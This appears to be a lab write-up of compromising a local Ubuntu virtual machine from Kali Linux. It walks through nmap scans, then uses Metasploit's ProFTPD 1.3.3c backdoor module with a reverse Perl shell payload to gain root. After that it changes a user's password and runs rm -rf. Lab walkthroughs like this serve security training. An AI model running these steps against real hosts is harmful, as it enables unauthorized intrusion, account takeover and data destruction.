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Report on Hacking into HEHE-BOX

(HEHE-box : Ubuntumachine)

→ *On* the HEHE -Box and keep it in running state.

→ Open terminal of Kali Linux machine and make sure you are in Root, if not do

`sudo su`

Entering password kali, lets you to enter in to Root.

→ type "ifconfig" to find our(Listeners Host) Ip-address.

Ip-Address : 10.0.2.4

***Gathering Information about HEHE-Box ***

(Ubuntu machine)

%The following commands to be entered in terminal in root

→ `nmap -sP 10.0.2.1/24` >> scans all 255 hosts and returns the Ip-address of those whose hosts are up.

Starting Nmap 7.92 (<https://nmap.org>) at 2021-12-28 05:18 EST

Nmap scan report for 10.0.2.1

Host is up (0.00086s latency).

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 10.0.2.2

Host is up (0.00082s latency).

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 10.0.2.3

Host is up (0.00081s latency).

MAC Address: 08:00:27:C4:5D:7A (Oracle VirtualBox virtual NIC)

Nmap scan report for 10.0.2.15

Host is up (0.00043s latency).

MAC Address: 08:00:27:2B:7F:13 (Oracle VirtualBox virtual NIC)

Nmap scan report for 10.0.2.4

Host is up.

Nmap done: 256 IP addresses (5 hosts up) scanned in 2.04 seconds

Info:

#A total of 5 hosts up along with our host.

//Service version detection scan:

→ `nmap -sV 10.0.2.1/24` >> service version detection scan of all 255 hosts in which hosts are up.

Nmap scan report for 10.0.2.15

Host is up (0.000097s latency).

Not shown: 997 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.3c

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

MAC Address: 08:00:27:2B:7F:13 (Oracle VirtualBox virtual NIC)

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Info:

This is the host we are interested in. When we get to see 21/tcp -ProFTPD 1.3.3.c , 22/tcp -ssh & 80/tcp http -Apache httpd 2.4.18(Ubuntu).

.It is confirm that this host is our target host

Target Host: Ip-Address 10.0.2.15

*Here 80/tcp http port open means there is some site running and that could be found by searching target Ip-Address in google .



It works!

This is the default web page for this server.

The web server software is running but no content has been added, yet.

//Target Scoping:

→ `nmap -sV 10.0.2.15` >> scans this particular host and returns the info about the nature and number of the ports which are open.

→ `nbtscan 10.0.2.15` >> scans this particular host and returns the info about the nature and number of the ports which are open.

→ `nmap -p- -A -O 10.0.2.15 --open>> -p-` scans all 1 to 65535 hosts.

`-A` scans and returns every single info about target host .

(If company gives complete access only then it is advised to use, if only partial access is given then don't use flag A.)

`-O` scans and returns the info of os.

`--open` scans and returns only those ports which are open continuously and ignores the ports which are closed/open for only sometime .This helps to narrow down our search.

Info:

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_ http-title: Site doesn't have a title (text/html).

|_ http-server-header: Apache/2.4.18 (Ubuntu)

OS details: Linux 3.2 - 4.9

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Penetration testing/Vulnerability Identification

→ `nmap --script vuln 10.0.2.15` >> returns the info about different vulnerabilities present in the target machine. (vuln – a script that returns vulnerabilities).

Info:

21/tcp open ftp

| ftp-proftpd-backdoor:

| This installation has been backdoored.

| Command: id

|_ Results: uid=0(root) gid=0(root) groups=0(root),65534(nogroup)

State: VULNERABLE

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#80/tcp open  http
| http-slowloris-check:
|  VULNERABLE:
|  Slowloris DOS attack
|  State: LIKELY VULNERABLE
|  IDs: CVE:CVE-2007-6750
|  Slowloris tries to keep many connections to the target web server open and hold
|  them open as long as possible. It accomplishes this by opening connections to
|  the target web server and sending a partial request. By doing so, it starves
|  the http server's resources causing Denial Of Service.
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http-enum:

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|_ /secret/: Potentially interesting folder
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>>Here we can see that there is a backdoor in this machine, indicates that an exploit like "ProFTPD_133c_backdoor" is possible in this target host.

ProFTPD_133c_backdoor:

(https://cf-tbvcxwzwoe2onms.rapid7.com/db/modules/exploit/unix/ftp/proftpd_133c_backdoor/)

>> Here we can even do a DOS(Deniel of service attack)-Slowloris as the machine is vulnerable to it in this case

(<https://www.rapid7.com/db/modules/auxiliary/dos/http/slowloris/>)

Exploit (here ProFTPD_133c_backdoor)

→msfconsole >> Metasploit Framework Console – enters into Metasploit framework interface .

→search proftpd

Info:

Matching Modules

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#	Name	Disclosure	Date	Rank	Check	Description
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0	exploit/linux/misc/netsupport_manager_agent		2011-01-08	average	No	NetSupport Manager Agent Remote Buffer Overflow
1	exploit/linux/ftp/proftpd_sreplace	2006-11-26	great	Yes	ProFTPD 1.2 - 1.3.0	sreplace Buffer Overflow (Linux)
2	exploit/freebsd/ftp/proftpd_telnet_iac	2010-11-01	great	Yes	ProFTPD 1.3.2rc3 - 1.3.3b	Telnet IAC Buffer Overflow (FreeBSD)

3	exploit/linux/ftp/proftpd_telnet_iac Telnet IAC Buffer Overflow (Linux)	2010-11-01	great	Yes	ProFTPD 1.3.2rc3 - 1.3.3b
4	exploit/unix/ftp/proftpd_modcopy_exec Mod_Copy Command Execution	2015-04-22	excellent	Yes	ProFTPD 1.3.5
5	exploit/unix/ftp/proftpd_133c_backdoor Backdoor Command Execution	2010-12-02	excellent	No	ProFTPD-1.3.3c

Interact with a module by name or index. For example info 5, use 5 or use exploit/unix/ftp/proftpd_133c_backdoor

→ use 5 >> initiates the exploit process

→ show info >> displays all the info about proftpd_133c_backdoor

Info:

Provided by:

MC <mc@metasploit.com>

darkharper2

#Basic options:

Name	Current	Setting	Required	Description
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RHOSTS	yes			The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 21	yes			The target port (TCP)

If observed that there are no payload options in info displayed then it means that payload is not set initially and we have to set payload manually as below.

→ msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl >> sets the payload to cmd/unix/reverse_perl

(https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjIhpG1iYb1AhUSsIYBHdicF8QFnoECCMQAQ&url=https%3A%2F%2Fferomang.zataz.com%2F2011%2F08%2F22%2Fosvdb-69562-proftpd-1-3-3c-backdoor-command-execution%2F&usq=AOvVaw30tMnZ3yur_wfObl8yJXHk)

→ show info >> displays all the info about proftpd_133c_backdoor

Info:

Payload options (cmd/unix/reverse_perl):

Name	Current Setting	Required	Description
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LHOST	yes		The listen address (an interface may be specified)
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LPORT	4444	yes	The listen port
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We get payload options now in info

→set RHOSTS 10.0.2.15 >> sets current setting of RHOSTS to 10.0.2.15 in options(Target Host IP)

→set LHOST 10.0.2.4 >> sets current setting of LHOSTS to 10.0.2.4 in options (Listeners Host IP)
, it will be set default if not we do this.

→show options >> shows options (like Module options and payload options)

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

Name	Current Setting	Required	Description
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RHOSTS	10.0.2.15	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
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RPORT	21	yes	The target port (TCP)
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Payload options (cmd/unix/reverse_perl):

Name	Current Setting	Required	Description
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LHOST	10.0.2.4	yes	The listen address (an interface may be specified)
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LPORT	4444	yes	The listen port
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→exploit >> exploit starts, initiating a session (here it is session1)

[*] Command shell session 1 opened (10.0.2.4:4444 -> 10.0.2.15:56194) at 2021-12-28 10:30:20 - 0500

****Boom we finally got into the system**

→ shell >> creates a channel and gives us direct access to ubuntu command shell

[*] Trying to find binary 'python' on the target machine

[*] Found python at /usr/bin/python

[*] Using `python` to pop up an interactive shell

[*] Trying to find binary 'bash' on the target machine

[*] Found bash at /bin/bash

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root@vtcsec:/#

→ root@vtcsec:/# whoami

whoami

root >> this shows that we are given access as direct root into the target host

→

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root@vtcsec:/# passwd marlinspike
passwd marlinspike
Enter new UNIX password: siri@123
Retype new UNIX password: siri@123
passwd: password updated successfully
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updates the password of user with username marlinspike to siri@123

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root@vtcsec:/# pwd
pwd
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root@vtcsec:/# ls
ls
bin    dev    initrd.img  lost+found  opt    run    srv    usr
boot   etc    lib         media       proc   sbin   sys    var
cdrom  home  lib64      mnt         root   snap  tmp    vmlinuz
root@vtcsec:/# mkdir siri
mkdir siri
root@vtcsec:/# cd siri
cd siri
root@vtcsec:/siri# touch read.txt
touch read.txt
root@vtcsec:/siri# ls
ls
read.txt
root@vtcsec:/siri# touch write.txt pic.png support.doc
touch write.txt pic.png support.doc
root@vtcsec:/siri# ls
ls
pic.png  read.txt  support.doc  write.txt
root@vtcsec:/siri# cd ..
cd ..
root@vtcsec:/# touch hack.txt
touch hack.txt
root@vtcsec:/# ls
ls
bin    dev    home    lib64    mnt    root    siri    sys    var
boot   etc    initrd.img  lost+found  opt    run    snap  tmp    vmlinuz
cdrom  hack.txt  lib     media    proc   sbin   srv    usr
root@vtcsec:/# rmdir hack.txt
rmdir hack.txt
rmdir: failed to remove 'hack.txt': Not a directory
root@vtcsec:/# rm hack.txt
rm hack.txt
root@vtcsec:/# ls
ls
bin    dev    initrd.img  lost+found  opt    run    snap  tmp    vmlinuz
boot   etc    lib         media       proc   sbin   srv    usr
cdrom  home  lib64      mnt         root   siri   sys    var
root@vtcsec:/# rmdir siri
rmdir siri
rmdir: failed to remove 'siri': Directory not empty
root@vtcsec:/# rm -rf siri
rm -rf siri
root@vtcsec:/# ls
ls
bin    dev    initrd.img  lost+found  opt    run    srv    usr
boot   etc    lib         media       proc   sbin   sys    var
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Shows present working directory

Lists the things in directory.

Creates a directory name siri

Changes the directory

Creates a file named read.txt

Heads back to last directory before change.

Removes the file named hack.txt.

Removes the directory with name siri but here as directory contains files so it cannot be removed with this command.
Removes every single file inside directory siri by recursive force delete.

